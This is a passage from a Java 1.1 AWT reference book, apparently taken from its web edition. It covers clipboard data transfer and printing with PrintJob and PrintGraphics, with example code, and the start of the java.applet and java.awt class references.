public synchronized Transferable getContents(Object requester) (New)

The getContents() method allows you to retrieve the current contents of the clipboard. This is the method you would call when the user selects Paste from a menu.

Once you have the Transferable data, you try to get the data in whatever flavor you want by calling the Transferable.getTransferData() method, possibly after calling Transferable.isDataFlavorSupported(). The requester represents the object that is requesting the clipboard's contents; it is usually just this, since the current object is making the request.

public synchronized void setContents(Transferable contents, ClipboardOwner owner) (New)

The setContents() method changes the contents of the clipboard to contents and changes the clipboard's owner to owner. You would call this method when the user selects Cut or Copy from a menu. The owner parameter represents the object that owns contents. This object must implement the ClipboardOwner interface; it will be notified by a call to lostOwnership() when something else is placed on the clipboard.

Previous | Home | Next
ClipboardOwner Interface | Book Index | StringSelection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.5 StringSelection

Previous Chapter 16
Data Transfer 		Next

16.5 StringSelection

StringSelection is a convenience class that can be used for copy and paste operations on Unicode text strings (String). It implements both the ClipboardOwner and Transferable interfaces, so it can be used both as the contents of the clipboard and as its owner. For example, if s is a StringSelection, you can call Clipboard.setContents(s,s). StringSelection supports both stringFlavor and plainTextFlavor and doesn't do anything when it loses clipboard ownership.

StringSelection Methods

Constructors

public StringSelection(String data) (New)

The constructor creates an instance of StringSelection containing data. You can use this object to place the data on a clipboard.

Miscellaneous methods

public DataFlavor[] getTransferDataFlavors() (New)

The getTransferDataFlavors() method returns a two-element DataFlavor array consisting of DataFlavor.stringFlavor and DataFlavor.plainTextFlavor. This means that you can paste a StringSelection as either a Java String or as plain text (i.e., the MIME type plain/text).

public boolean isDataFlavorSupported(DataFlavor flavor) (New)

The isDataFlavorSupported() method is returns true if flavor is either DataFlavor.stringFlavor or DataFlavor.plainTextFlavor; it returns false for any other flavor.

public Object getTransferData(DataFlavor flavor) throws UnsupportedFlavorException, IOException (New)

The getTransferData() method returns an object from which you can get the data on the clipboard; the object's type is determined by the flavor parameter. This method returns a String containing the data on the clipboard if flavor is DataFlavor.stringFlavor; it returns a StringBufferInputStream from which you can read the data on the clipboard if you ask for DataFlavor.plainTextFlavor. Otherwise, getTransferData() throws an UnsupportedFlavorException.

public void lostOwnership(Clipboard clipboard, Transferable contents) (New)

The lostOwnership() method of StringSelection is an empty stub; it does nothing when you lose ownership. If you want to know when you've lost ownership of string data placed on the clipboard, write a subclass of StringSelection and override this method.

Previous | Home | Next
Clipboard | Book Index | UnsupportedFlavorException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.6 UnsupportedFlavorException

Previous Chapter 16
Data Transfer 		Next

16.6 UnsupportedFlavorException

The UnsupportedFlavorException exception is thrown when you ask Transferable.getTransferData() to give you data in a flavor that isn't supported by the object on the clipboard. For example, if the clipboard currently holds an image and you ask for the data in the stringFlavor, you will almost certainly get an UnsupportedFlavorException because it is unlikely that an image object will be able to give you its data as a String. You can either ignore the exception or display an appropriate message to the user.

UnsupportedFlavorException Method

Constructor

public UnsupportedFlavorException (DataFlavor flavor)

The sole constructor creates an UnsupportedFlavorException with a detail message containing the human presentable name of flavor. To retrieve this message, call getMessage(), which this exception inherits from the Exception superclass (and which is required by the Throwable interface).

Previous | Home | Next
StringSelection | Book Index | Reading and Writing the Clipboard
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] 16.7 Reading and Writing the Clipboard

Previous Chapter 16
Data Transfer 		Next

16.7 Reading and Writing the Clipboard

Now that you know about the different java.awt.datatransfer classes required to use the clipboard, let's put them all together in an example. Example 16.1 creates a TextField for input (copying), a read-only TextArea for output (pasting), and a couple of buttons to control its operation. Figure 16.1 shows the program's user interface. When the user clicks on the Copy button or presses Return in the TextField, the text in the TextField is copied to the Clipboard. When the user clicks on the Paste button, the contents of the clipboard are drawn in the TextArea. Since the clipboard is not private, you can copy or paste from anywhere on your desktop, not just this program.

Example 16.1: Using the System Clipboard

// Java 1.1 only
import java.io.*;
import java.awt.*;
import java.awt.datatransfer.*;
public class ClipMe extends Frame {
    TextField tf;
    TextArea ta;
    Button copy, paste;
    Clipboard clipboard = null;
    ClipMe() {
        super ("Clipping Example");
        add (tf = new TextField("Welcome"), "North");
        add (ta = new TextArea(), "Center");
        ta.setEditable(false);
        Panel p = new Panel();
        p.add (copy = new Button ("Copy"));
        p.add (paste = new Button ("Paste"));
        add (p, "South");
        setSize (250, 250);
    }
    public static void main (String args[]) {
        new ClipMe().show();
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            System.exit(0);
            return true;  // never gets here
        }
        return super.handleEvent (e);
    }
    public boolean action (Event e, Object o) {
        if (clipboard == null)
            clipboard = getToolkit().getSystemClipboard();
        if ((e.target == tf) || (e.target == copy)) {
            StringSelection data;
            data = new StringSelection (tf.getText());
            clipboard.setContents (data, data);
        } else if (e.target == paste) {
            Transferable clipData = clipboard.getContents(this);
            String s;
            try {
                s = (String)(clipData.getTransferData(
                       DataFlavor.stringFlavor));
            } catch (Exception ee) {
                s = ee.toString();
            }
            ta.setText(s);
        }
        return true;
    }
}

Figure 16.1: Using the system clipboard

[Graphic: Figure 16-1]

We won't say anything about how the display is set up; that should be familiar. All the interesting stuff happens in the action method, which is called in response to a button click. We check which button the user clicked; if the user clicked the Copy button, we read the text field tf and use it to create a new StringSelection named data. If the user clicked the Paste button, we retrieve the data from the clipboard by calling getContents(). This gives us an object about which (strictly speaking) we know nothing, except that it implements Transferable. In this case, we're pretty sure that we're getting text from the clipboard, so we call getTransferData() and ask for the data in the stringFlavor form. We catch the exception that might occur if we're wrong about the data flavor. This program has no way of placing anything but text on the clipboard, but there's no guarantee that the user didn't cut some other kind of object from a native application.

Once we have our String, we call the setText() method of the TextArea to tell it about the new string, and we are finished.

Previous | Home | Next
UnsupportedFlavorException | Book Index | Printing
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] Printing

Previous Chapter 17 Next

17. Printing

Contents:
PrintGraphics Interface
PrintJob Class
Component Methods
Printing Example
Printing Arbitrary Content

Java 1.1 introduces the ability to print, a capability that was sadly missing in Java 1.0, even though the Component class had print() and printAll() methods. However, it is possible to print arbitrary content, including multipage documents. The printing facility in Java 1.1 is designed primarily to let a program print its display area or any of the components within its display.

Printing is implemented with the help of one public interface, PrintGraphics, and one public class, PrintJob, of AWT. The real work is hidden behind classes provided with the toolkit for your platform. On Windows NT/95 platforms, these classes are sun.awt.windows.WPrintGraphics and sun.awt.windows.WPrintJob. Other platforms have similarly named classes.

Printing from an applet has security implications and is restricted by the SecurityManager. It is reasonable to suppose that a browser will make it possible to print a page containing an applet; in fact, Netscape has done so ever since Navigator 3.0. However, this ability might not take advantage of Java's printing facility. It isn't reasonable to suppose that an applet will be able to initiate a print job on its own. You might allow a signed applet coming from a trusted source to do so, but you wouldn't want to give any random applet access to your printer. (If you don't understand why, imagine the potential for abuse.)

17.1 PrintGraphics Interface

Printing is similar to drawing an object on the screen. Just as you draw onto a graphics context to display something on the screen, you draw onto a "printing context" to create an image for printing. Furthermore, the printing context and graphics context are very closely related. The graphics context is an instance of the class Graphics. The printing context is also an instance of Graphics, with the additional requirement that it implement the PrintGraphics interface. Therefore, any methods that you use to draw graphics can also be used for printing. Furthermore, the paint() method (which a component uses to draw itself on the screen) is also called when a component must draw itself for printing.

In short, to print, you get a special Graphics object that implements the PrintGraphics interface by calling the getGraphics() method of PrintJob (discussed later in this chapter) through Toolkit. You then call a component's print() or printAll() method or a container's printComponents() method, with this object as the argument. These methods arrange for a call to paint(), which can draw on the printing context to its heart's content. In the simple case where you're just rendering the component on paper, you shouldn't have to change paint() at all. Of course, if you are doing something more complex (that is, printing something that doesn't look exactly like your component), you'll have to modify paint() to determine whether it's painting on screen or on paper, and act accordingly. The code would look something like this:

public void paint(Graphics g) {
    if (g instanceof PrintGraphics) {
        // Printing
    }else {
        // Painting
    }
}

If the graphics object you receive is an instance of PrintGraphics, you know that paint() has been called for a print request and can do anything specific to printing. As I said earlier, you can use all the methods of Graphics to draw on g. If you're printing, though, you might do anything from making sure that you print in black and white to drawing something completely different. (This might be the trick you use to print the contents of a component rather than the component itself. However, as of Java 1.1, it's impossible to prevent the component from drawing itself. Remember that your paint() method was never responsible for drawing the component; it only drew additions to the basic component. For the time being, it's the same with printing.)

When you call printComponents() on a Container, all the components within the container will be printed. Early beta versions of 1.1 only painted the outline of components within the container. The component should print as it appears on the screen.

Methods

public abstract PrintJob getPrintJob () (New)

The getPrintJob() method returns the PrintJob instance that created this PrintGraphics instance.

This seems like circular logic: you need a PrintJob to create a PrintGraphics object, but you can get a PrintJob only from a PrintGraphics object. To break the circle, you can get an initial PrintJob by calling the getPrintJob() method of Toolkit. getPrintJob() looks like it will be useful primarily within paint(), where you don't have access to the original PrintJob object and need to get it from the graphics context.

System-provided PrintGraphics objects inherit their other methods from the Graphics class, which is discussed in Chapter 2, Simple Graphics.[1] The one method that's worth noting here is dispose(). In a regular Graphics object, calling dispose() frees any system resources the object requires. For a PrintGraphics object, dispose() sends the current object to the printer prior to deallocating its resources. Calling dispose() is therefore equivalent to sending a form feed to eject the current page.

[1] Anything can implement the PrintGraphics interface, not just subclasses of Graphics. However, in order for paint() and print() to work, it must be a subclass of Graphics.

Previous | Home | Next
Reading and Writing the Clipboard | Book Index | PrintJob Class
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.2 PrintJob Class

Previous Chapter 17
Printing 		Next

17.2 PrintJob Class

The abstract PrintJob class provides the basis for the platform-specific printing subclasses. Through PrintJob, you have access to properties like page size and resolution.

Constructor and Pseudo-Constructor

public PrintJob () (New)

The PrintJob() constructor is public; however, the class is abstract, so you would never create a PrintJob instance directly.

Since you can't call the PrintJob constructor directly, you need some other way of getting a print job to work with. The proper way to get an instance of PrintJob is to ask the Toolkit, which is described in Chapter 15, Toolkit and Peers. The getPrintJob() method requires a Frame as the first parameter, a String as the second parameter, and a Properties set as the third parameter. Here's how you might call it:

PrintJob pjob = getToolkit().getPrintJob(aFrame, "Job Title",
                                         (Properties)null);

The Frame is used to hold a print dialog box, asking the user to confirm or cancel the print job. (Whether or not you get the print dialog may be platform specific, but your programs should always assume that the dialog may appear.) The String is the job's title; it will be used to identify the job in the print queue and on the job's header page, if there is one.

The Properties parameter is used to request printing options, like page reversal. The property names, and whether the requested properties are honored at all, are platform specific. UNIX systems use the following properties:

awt.print.printer
awt.print.paperSize
awt.print.destination
awt.print.orientation
awt.print.options
awt.print.fileName
awt.print.numCopies

Windows NT/95 ignores the properties sheet. If the properties sheet is null, as in the previous example, you get the system's default printing options. If the properties sheet is non-null, getPrintJob() modifies it to show the actual options used to print the job. You can use the modified properties sheet to find out what properties are recognized on your system and to save a set of printing options for use on a later print job.

If you are printing multiple pages, each page should originate from the same print job.

According to Sun's documentation, getPrintJob() ought to return null if the user cancels the print job. However, this is a problem. On some platforms (notably Windows NT/95), the print dialog box doesn't even appear until you call the getGraphics() method. In this case, getPrintJob() still returns a print job and never returns null. If the user cancels the job, getGraphics() returns null.

Methods

public abstract Graphics getGraphics () (New)

The getGraphics() method returns an instance of Graphics that also implements PrintGraphics. This graphics context can then be used as the parameter to methods like paint(), print(), update(), or printAll() to print a single page. (All of these methods result in calls to paint(); in paint(), you draw whatever you want to print on the Graphics object.)

On Windows NT/95 platforms, getGraphics() returns null if the user cancels the print job.

public abstract Dimension getPageDimension () (New)

The getPageDimension() method returns the dimensions of the page in pixels, as a Dimension object. Since getGraphics() returns a graphics context only for a single page, it is the programmer's responsibility to decide when the current page is full, print the current page, and start a new page with a new Graphics object. The page size is chosen to roughly represent a screen but has no relationship to the page size or orientation.

public abstract int getPageResolution () (New)

The getPageResolution() method returns the number of pixels per inch for drawing on the page. It is completely unclear what this means, since the number returned has no relationship to the printer resolution. It appears to be similar to the screen resolution.

public abstract boolean lastPageFirst () (New)

The lastPageFirst() method lets you know if the user configured the printer to print pages in reverse order. If this returns true, you need to generate the last page first. If false, you should print the first page first. This is relevant only if you are trying to print a multipage document.

public abstract void end () (New)

The end() method terminates the print job. This is the last method you should call when printing; it does any cleaning up that's necessary.

public void finalize () (New)

The finalize() method is called by the garbage collector. In the event you forget to call end(), finalize() calls it for you. However, it is best to call end() as soon as you know you have finished printing; don't rely on finalize().

Previous | Home | Next
PrintGraphics Interface | Book Index | Component Methods
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.3 Component Methods

Previous Chapter 17
Printing 		Next

17.3 Component Methods

The methods that start the printing process come from either the Component
or Container class and are
inherited by all their children. All components inherit the printAll()
and print() methods. Containers
also inherit the printComponents()
method, in addition to printAll()
and print(). A container should
call printComponents() to print
itself if it contains any components. Otherwise, it is sufficient to call
printAll().

These methods end up calling paint(), which does the actual drawing.

Previous | Home | Next
PrintJob Class | Book Index | Printing Example
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.4 Printing Example

Previous Chapter 17
Printing 		Next

17.4 Printing Example

Now that you know about the different classes necessary to print, let's put it all together. Printing takes four steps:

  1. Get the PrintJob:

    PrintJob pjob = getToolkit().getPrintJob(this, "Job Title", (Properties)null);

  2. Get the graphics context from the PrintJob:

    Graphics pg = pjob.getGraphics();

  3. Print by calling printAll() or print(). When this method returns, you can call dispose() to send the page to the printer:

    printAll(pg);
pg.dispose(); // This is like sending a form feed

  4. Clean up after yourself:

    pjob.end();

The following code summarizes how to print:

// Java 1.1 only
PrintJob pjob = getToolkit().getPrintJob(this, "Print?", (Properties)null);
if (pjob != null) {
        Graphics pg = pjob.getGraphics();
        if (pg != null) {
            printAll(pg);
            pg.dispose();
        }
    pjob.end();
}

This code prints the current component: what you get from the printer should be a reasonable rendition of what you see on the screen. Note that we didn't need to modify paint() at all. That should always be the case if you want your printer output to look like your onscreen component.

Previous | Home | Next
Component Methods | Book Index | Printing Arbitrary Content
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.5 Printing Arbitrary Content

Previous Chapter 17
Printing 		Next

17.5 Printing Arbitrary Content

Of course, in many situations, you want to do more than print the appearance of a component. You often want to print the contents of some component, rather than the component itself. For example, you may want to print the text the user has typed into a text area, rather than the text area itself. Or you may want to print the contents of a spreadsheet, rather than the collection of components that compose the spreadsheet.

Java 1.1 lets you print arbitrary content, which may include multipage documents. You aren't restricted to printing your components' appearance. In many ways, the steps required to print arbitrary content are similar to those we outlined previously. However, a few tricks are involved:

  1. Get the PrintJob:

    PrintJob pjob = getToolkit().getPrintJob(this, "Job Title", (Properties)null);

  2. Get the graphics context from the PrintJob:

    Graphics pg = pjob.getGraphics();

  3. Don't call printAll() or print(). These methods will try to draw your component on the page, which you don't want. Instead, get the dimensions of the page by calling getPageDimension():

    pjob.getPageDimension();

  4. Set the font for your graphics context; then get the font metrics from your graphics context.

    Font times = new Font ("SansSerif", Font.PLAIN, 12);
pg.setFont(times);
FontMetrics tm = pg.getFontMetrics(times);

  5. Draw whatever you want into the graphics context, using the methods of the Graphics class. If you are drawing text, it's your responsibility to do all the positioning, making sure that your text falls within the page boundaries. By the time you're through with this, you'll have the FontMetrics class memorized.

  6. When you've finished drawing the current page, call dispose(); this sends the page to the printer and releases the resources tied up by the PrintGraphics object.

    pg.dispose(); // This is like sending a form feed

  7. If you want to print more pages, return to step 2.

  8. Clean up after yourself:

    pjob.end();

Remember to set a font for the PrintGraphics object explicitly! It doesn't have a default font.

An example that loads and prints a text file is available from this book's Web page.

Previous | Home | Next
Printing Example | Book Index | java.applet Reference
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] java.applet Reference

Previous Chapter 18 Next

18. java.applet Reference

Contents:
Introduction to the Reference Chapters
Package diagrams
Applet
AppletContext
AppletStub
AudioClip

18.1 Introduction to the Reference Chapters

The preceding seventeen chapters cover just about all there is to know about AWT. We have tried to organize them logically, and provide all the information that you would expect in a reference manual--plus much more in the way of examples and practical information about how to do things effectively. However, there are many times when you just need a reference book, pure and simple: one that's organized alphabetically, and where you can find any method if you know the class and package that it belongs to, without having to second guess the author's organizational approach. That's what the rest of this book provides. It's designed to help you if you need to look something up quickly, and find a brief but accurate summary of what it does. In these sections, the emphasis is on brief; if you want a longer description, look in the body of the book.

The reference sections describe the following packages:

  • java.applet (Chapter 18, java.applet Reference)

  • java.awt (Chapter 19, java.awt Reference)

  • java.awt.datatransfer (Chapter 20, java.awt.datatransfer Reference)

  • java.awt.event (Chapter 21, java.awt.event Reference)

  • java.awt.image (Chapter 22, java.awt.image Reference)

  • java.awt.peer (Chapter 23, java.awt.peer Reference)

Within each package, classes and interfaces are listed alphabetically. There is a description and a pseudo-code definition for each class or interface. Each variable and method is listed and described. New Java 1.1 classes are marked with a black star ( (New)), as are new methods and new variables. Of course, if a class is new, all its methods are new. We didn't mark individual methods in new classes. Methods that are deprecated in Java 1.1 are marked with a white star ( (Deprecated)).

Inheritance presents a significant problem with documenting object-oriented libraries, because the bulk of a class's methods tend to be hiding in the superclasses. Even if you're very familiar with object-oriented software development, when you're trying to look up a method under the pressure of some deadline, it's easy to forget that you need to look at the superclasses in addition to the class you're interested in itself. Nowhere is this problem worse than in AWT, where some classes (in particular, components and containers) inherit well over 100 methods, and provide few methods of their own. For example, the Button class contains seven public methods, none of which happens to be setFont(). The font used to display a button's label is certainly settable--but to find it, you have to look in the superclass Component.

So far, we haven't found a way around this problem. The description of each class has an abbreviated class hierarchy diagram, showing superclasses (all the way back to Object), immediate subclasses, and the interfaces that the class implements. Ideally, it would be nice to have a list of all the inherited methods--and in other parts of Java, that's possible. For AWT, the lists would be longer than the rest of this book, much too long to be practical, or even genuinely useful. Someday, electronic documentation may be able to solve this problem, but we're not there yet.

Previous | Home | Next
Printing Arbitrary Content | Book Index | Package diagrams
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.2 Package diagrams

Previous Chapter 18
java.applet Reference 		Next

18.2 Package diagrams

The following figures provide a visual representation of the relationships between the classes in the AWT packages.

java.awt, as the mother of all AWT packages, is better represented by two diagrams, one for the graphics classes and one for the component and layout classes.

Figure 18.1: Component and Layout classes of the java.awt package.

[Graphic: Figure 18-1]

Figure 18.2: Graphics classes of java.awt package

[Graphic: Figure 18-2]

Figure 18.3: The java.awt.image package

[Graphic: Figure 18-3]

Figure 18.4: The java.awt.datatransfer package

[Graphic: Figure 18-4]

Figure 18.5: The java.awt.event package

[Graphic: Figure 18-5]

Figure 18.6: The java.awt.peer package

[Graphic: Figure 18-6]

Figure 18.7: The java.applet package

[Graphic: Figure 18-7]

Previous | Home | Next
Introduction to the Reference Chapters | Book Index | AWTError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] Applet

Previous Chapter 18
java.applet Reference 		Next

Applet

Name

Applet

[Graphic: Figure from the text]

Description

The Applet class provides the framework for delivering Java programs within web pages.

Class Definition

public class java.applet.Applet
    extends java.awt.Panel {
  // Constructors
  public Applet();
  // Instance Methods
  public void destroy();
  public AppletContext getAppletContext();
  public String getAppletInfo();
  public AudioClip getAudioClip (URL url);
  public AudioClip getAudioClip (URL url, String filename);
  public URL getCodeBase();
  public URL getDocumentBase();
  public Image getImage (URL url);
  public Image getImage (URL url, String filename);
  public Locale getLocale();   (New)
  public String getParameter (String name);
  public String[][] getParameterInfo();
  public void init();
  public boolean isActive();
  public void play (URL url);
  public void play (URL url, String filename);
  public void resize (int width, int height);
  public void resize (Dimension dim);
  public final void setStub (AppletStub stub);
  public void showStatus (String message);
  public void start();
  public void stop();
}

Constructors

Applet

public Applet()

Description

Constructs an Applet object.

Instance Methods

destroy

public void destroy()

Description

Called when the browser determines that it doesn't need to keep the applet around anymore.

getAppletContext

public AppletContext getAppletContext()

Returns

The current AppletContext of the applet.

getAppletInfo

public String getAppletInfo()

Returns

A short information string about the applet to be shown to the user.

getAudioClip

public AudioClip getAudioClip (URL url)

Parameters

url

URL of an audio file.

Returns

Object that implements the AudioClip interface for playing audio files.

Description

Fetches an audio file to play with the AudioClip interface.

public AudioClip getAudioClip (URL url , String filename)

Parameters

url

Base URL of an audio file.

filename

Specific file, relative to url, that contains an audio file.

Returns

Object that implements AudioClip interface for playing audio file.

Description

Fetches an audio file to play with the AudioClip interface.

getCodeBase

public URL getCodeBase()

Returns

The complete URL of the .class file that contains the applet.

getDocumentBase

public URL getDocumentBase()

Returns

The complete URL of the .html file that loaded the applet.

getImage

public Image getImage (URL url)

Parameters

url

URL of an image file.

Returns

Image to be displayed.

Description

Initiates the image loading process for the file located at the specified location.

public Image getImage (URL url, String filename)

Parameters

url

Base URL of an image file.

filename

Specific file, relative to url, that contains an image file.

Returns

Image to be displayed.

Description

Initiates the image loading process for the file located at the specified location.

getLocale

public Locale getLocale() (New)

Returns

Applet's locale.

Overrides

Component.getLocale()

Description

Used for internationalization support.

getParameter

public String getParameter (String name)

Parameters

name

Name of parameter to get.

Returns

The value associated with the given parameter in the HTML file, or null.

Description

Allows you to get parameters from within the <APPLET> tag of the .html file that loaded the applet.

getParameterInfo

public String[][] getParameterInfo()

Returns

Overridden to provide a series of three-string arrays that describes the parameters this applet reads.

init

public void init()

Description

Called by the system when the applet is first loaded.

isActive

public boolean isActive()

Returns

true if the applet is active, false otherwise.

play

public void play (URL url)

Parameters

url

URL of an audio file .

Description

Plays an audio file once.

public void play (URL url, String filename)

Parameters

url

Base URL of an audio file .

filename

Specific file, relative to url, that contains an audio file.

Description

Plays an audio file once.

resize

public void resize(int width, int height)

Parameters

width

New width for the Applet.

height

New height for the Applet.

Description

Changes the size of the applet.

public void resize (Dimension dim)

Parameters

dim

New dimensions for the applet.

Description

Changes the size of the applet.

setStub

public final void setStub (AppletStub stub)

Parameters

stub

Platform specific stubfor environment.

Description

Called by the system to setup AppletStub.

showStatus

public void showStatus (String message)

Parameters

message

Message to display to user.

Description

Displays a message on the status line of the browser.

start

public void start()

Description

Called by the system every time the applet is displayed.

stop

public void stop()

Description

Called by the system when it wants the applet to stop execution; typically, every time the user leaves the page that includes the applet.

See Also

AppletContext, AppletStub, AudioClip, Container, Dimension, Image, Locale, Panel, String, URL

Previous | Home | Next
Package diagrams | Book Index | AppletContext
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] AppletContext

Previous Chapter 18
java.applet Reference 		Next

AppletContext

Name

AppletContext

[Graphic: Figure from the text]

Description

AppletContext is an interface that provides the means to control the browser environment in which the applet is running.

Interface Definition

public abstract interface java.applet.AppletContext {
  // Interface Methods
  public abstract Applet getApplet (String name);
  public abstract Enumeration getApplets();
  public abstract AudioClip getAudioClip (URL url);
  public abstract Image getImage (URL url);
  public abstract void showDocument (URL url);
  public abstract void showDocument (URL url, String frame);
  public abstract void showStatus (String message);
}

Interface Methods

getApplet

public abstract Applet getApplet (String name)

Parameters

name

Name of applet to locate.

Returns

Applet fetched.

Description

Gets a reference to another executing applet.

getApplets

public abstract Enumeration getApplets()

Returns

List of applets executing.

Description

Gets references to all executing applets.

getAudioClip

public abstract AudioClip getAudioClip (URL url)

Parameters

url

Location of an audio file.

Returns

AudioClip fetched.

Description

Loads an audio file.

getImage

public abstract Image getImage (URL url)

Parameters

url

Location of an image file.

Returns

Image fetched.

Description

Loads an image file.

showDocument

public abstract void showDocument (URL url)

Parameters

url

New web page to display.

Description

Changes the displayed web page.

public abstract void showDocument (URL url, String frame)

Parameters

url

New web page to display.

frame

Name of the frame in which to display the new page.

Description

Displays a web page in another frame.

showStatus

public abstract void showStatus (String message)

Parameters

message

Message to display.

Description

Displays a message on the status line of the browser.

See Also

Applet, AudioClip, Enumeration, Image, Object, String, URL

Previous | Home | Next
Applet | Book Index | AppletStub
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] AppletStub

Previous Chapter 18
java.applet Reference 		Next

AppletStub

Name

AppletStub

[Graphic: Figure from the text]

Description

AppletStub is an interface that provides the means to get information from the run-time browser environment.

Interface Definition

public abstract interface java.applet.AppletStub {
  // Interface Methods
  public abstract void appletResize (int width, int height);
  public abstract AppletContext getAppletContext();
  public abstract URL getCodeBase();
  public abstract URL getDocumentBase();
  public abstract String getParameter (String name);
  public abstract boolean isActive();
}

Interface Methods

appletResize

public abstract void appletResize (int width, int height)

Parameters

width

Requested new width for applet.

height

Requested new height for applet.

Description

Changes the size of the applet.

getAppletContext

public abstract AppletContext getAppletContext()

Returns

Current AppletContext of the applet.

getCodeBase

public abstract URL getCodeBase()

Returns

Complete URL for the applet's .class file.

getDocumentBase

public abstract URL getDocumentBase()

Returns

Complete URL for the applet's .html file.

getParameter

public abstract String getParameter (String name)

Parameters

name

Name of a <PARAM> tag.

Returns

Value associated with the parameter.

Description

Gets a parameter value from the <PARAM> tag(s) of the applet.

isActive

public abstract boolean isActive()

Returns

true if the applet is active, false otherwise

Description

Returns current state of the applet.

See Also

AppletContext, Object, String, URL

Previous | Home | Next
AppletContext | Book Index | AudioClip
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] AudioClip

Previous Chapter 18
java.applet Reference 		Next

AudioClip

Name

AudioClip

[Graphic: Figure from the text]

Description

AudioClip is an interface for playing audio files.

Interface Definition

public abstract interface java.applet.AudioClip {
  // Interface Methods
  public abstract void loop();
  public abstract void play();
  public abstract void stop();
}

Interface Methods

loop

public abstract void loop()

Description

Plays an audio clip continuously.

play

public abstract void play()

Description

Plays an audio clip once from the beginning.

stop

public abstract void stop()

Description

Stops playing an audio clip.

See Also

Object

Previous | Home | Next
AppletStub | Book Index | AWTError
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] java.awt Reference

Previous Chapter 19 Next

19. java.awt Reference

Contents:
AWTEvent (New)
AWTEventMulticaster (New)
AWTException
Adjustable (New)
BorderLayout
Button
Canvas
CardLayout
Checkbox
CheckboxGroup
CheckboxMenuItem
Choice
Color
Component
Container
Cursor (New)
Dialog
Dimension
Event
EventQueue (New)
FileDialog
FlowLayout
Font
FontMetrics
Frame
Graphics
GridBagConstraints
GridBagLayout
GridLayout
IllegalComponentStateException (New)
Image
Insets
ItemSelectable (New)
Label
LayoutManager
LayoutManager2 (New)
List
MediaTracker
Menu
MenuBar
MenuComponent
MenuContainer
MenuItem
MenuShortcut (New)
Panel
Point
Polygon
PopupMenu (New)
PrintGraphics (New)
PrintJob (New)
Rectangle
ScrollPane (New)
Scrollbar
Shape (New)
SystemColor (New)
TextArea
TextComponent
TextField
Toolkit
Window

AWTError

Name

AWTError

[Graphic: Figure from the text]

Description

An AWTError; thrown to indicate a serious runtime error.

Class Definition

public class java.awt.AWTError
    extends java.lang.Error {

  // Constructors
  public AWTError (String message);
}

Constructors

AWTError

public AWTError (String message)

Parameters

message

Detail message

See Also

Error, String

Previous | Home | Next
Window | Book Index | AWTEvent (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] AWTEvent

Previous Chapter 19
java.awt Reference 		Next

AWTEvent (New)

Name

AWTEvent (New)

[Graphic: Figure from the text]

Description

The root class of all AWT events. Subclasses of this class are the replacement for java.awt.Event, which is only used for the Java 1.0.2 event model. In Java 1.1, event objects are passed from event source components to objects implementing a corresponding listener interface. Some event sources have a corresponding interface, too. For example, AdjustmentEvents are passed from Adjustable objects to AdjustmentListeners. Some event types do not have corresponding interfaces; for example, ActionEvents are passed from Buttons to ActionListeners, but there is no "Actionable" interface that Button implements.

Class Definition

public abstract class java.awt.AWTEvent
    extends java.util.EventObject {
  // Constants
  public final static long ACTION_EVENT_MASK;
  public final static long ADJUSTMENT_EVENT_MASK;
  public final static long COMPONENT_EVENT_MASK;
  public final static long CONTAINER_EVENT_MASK;
  public final static long FOCUS_EVENT_MASK;
  public final static long ITEM_EVENT_MASK;
  public final static long KEY_EVENT_MASK;
  public final static long MOUSE_EVENT_MASK;
  public final static long MOUSE_MOTION_EVENT_MASK;
  public final static long RESERVED_ID_MAX;
  public final static long TEXT_EVENT_MASK;
  public final static long WINDOW_EVENT_MASK;
  // Variables
  protected boolean consumed;
  protected int id;
  // Constructors
  public AWTEvent (Event event);
  public AWTEvent (Object source, int id);
  // Instance Methods
  public int getID();
  public String paramString();
  public String toString();
  // Protected Instance Methods
  protected void consume();
  protected boolean isConsumed();
}

Constants

ACTION_EVENT_MASK

public static final long ACTION_EVENT_MASK

The mask for action events.

ADJUSTMENT_EVENT_MASK

public static final long ADJUSTMENT_EVENT_MASK

The mask for adjustment events.

COMPONENT_EVENT_MASK

public static final long COMPONENT_EVENT_MASK

The mask for component events.

CONTAINER_EVENT_MASK

public static final long CONTAINER_EVENT_MASK

The mask for container events.

FOCUS_EVENT_MASK

public static final long FOCUS_EVENT_MASK

The mask for focus events.

ITEM_EVENT_MASK

public static final long ITEM_EVENT_MASK

The mask for item events.

KEY_EVENT_MASK

public static final long KEY_EVENT_MASK

The mask for key events.

MOUSE_EVENT_MASK

public static final long MOUSE_EVENT_MASK

The mask for mouse events.

MOUSE_MOTION_EVENT_MASK

public static final long MOUSE_MOTION_EVENT_MASK

The mask for mouse motion events.

RESERVED_ID_MAX

public static final int

The maximum reserved event id.

TEXT_EVENT_MASK

public static final long TEXT_EVENT_MASK

The mask for text events.

WINDOW_EVENT_MASK

public static final long WINDOW_EVENT_MASK

The mask for window events.

Variables

consumed

protected boolean consumed

If consumed is true, the event will not be sent back to the peer. Semantic events will never be sent back to a peer; thus consumed is always true for semantic events.

id

protected int id

The type ID of this event.

Constructors

AWTEvent

public AWTEvent (Event event)

Parameters

event

A version 1.0.2 java.awt.Event object.

Description

